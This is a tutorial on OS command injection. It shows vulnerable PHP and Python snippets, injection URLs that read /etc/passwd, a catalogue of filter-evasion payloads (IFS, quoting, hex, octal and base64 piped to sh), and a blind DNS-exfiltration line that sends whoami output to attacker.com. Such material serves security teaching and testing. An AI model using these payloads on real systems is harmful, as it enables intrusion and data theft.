OS Command Injection Tutorial - Part #1 (Basics and Filter Evasion)
Command injection happens when user input gets passed to a system shell. It is not the same as remote code execution (RCE) in the general sense - RCE means running arbitrary code in whatever context (memory corruption, deserialization, template injection). Command injection specifically means your input is interpreted by a shell like /bin/sh or cmd.exe.
Shell delimiters
These characters let you append additional commands to the intended one:
; - command separator (run both regardless)
&& - logical AND (run second only if first succeeds)
|| - logical OR (run second only if first fails)
| - pipe (feed first command's output to second)
`cmd` - backtick substitution (execute cmd, inline result)
$(cmd) - dollar substitution (same as backticks, nestable)
\n - newline (some parsers treat as command separator)
Basic injection
Vulnerable PHP example - a ping utility:
<?php
$ip = $_GET['ip'];
$output = shell_exec("ping -c 3 " . $ip);
echo $output;
?>
Exploitation:
# Normal use
https://target.com/ping.php?ip=8.8.8.8
# Inject with semicolon
https://target.com/ping.php?ip=8.8.8.8;id
# Inject with pipe
https://target.com/ping.php?ip=8.8.8.8|cat+/etc/passwd
Python equivalent using os.system():
import os
domain = input("Enter domain: ")
os.system(f"nslookup {domain}")
# Input: example.com; whoami
Filter evasion
When the application blocks obvious payloads, get creative.
Space filtering - if spaces are blocked:
# Use $IFS (Internal Field Separator, defaults to space)
cat${IFS}/etc/passwd
# Use brace expansion
{cat,/etc/passwd}
# Use tab (%09 URL-encoded)
cat%09/etc/passwd
Keyword filtering - if strings like "cat" or "passwd" are blocked:
# Variable concatenation
a=ca;b=t;$a$b /etc/passwd
# Quoting insertion (shell strips quotes during parsing)
c'a't /etc/passwd
c"a"t /etc/passwd
# Backslash insertion
c\at /etc/pas\swd
# Wildcard matching
/bin/c?t /etc/pass??
Encoding-based evasion:
# Hex encoding with printf
$(printf '\x63\x61\x74') /etc/passwd
# Base64 decode piped to shell
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh
# Octal encoding
$'\143\141\164' /etc/passwd
Case manipulation (works when the filter is case-sensitive but the command is not):
# On Windows (case-insensitive filesystem)
WhOaMi
pInG 127.0.0.1
# On Linux, use variable tricks
$(tr '[A-Z]' '[a-z]' <<< 'CAT') /etc/passwd
Blind injection
If you do not see command output in the response, use time-based or out-of-band techniques:
# Time-based detection
https://target.com/ping.php?ip=8.8.8.8;sleep+5
# DNS exfiltration
https://target.com/ping.php?ip=8.8.8.8;nslookup+$(whoami).attacker.com
Part 2 will cover OS-specific tricks, WAF bypass for command injection payloads, and building reliable reverse shells from limited injection points.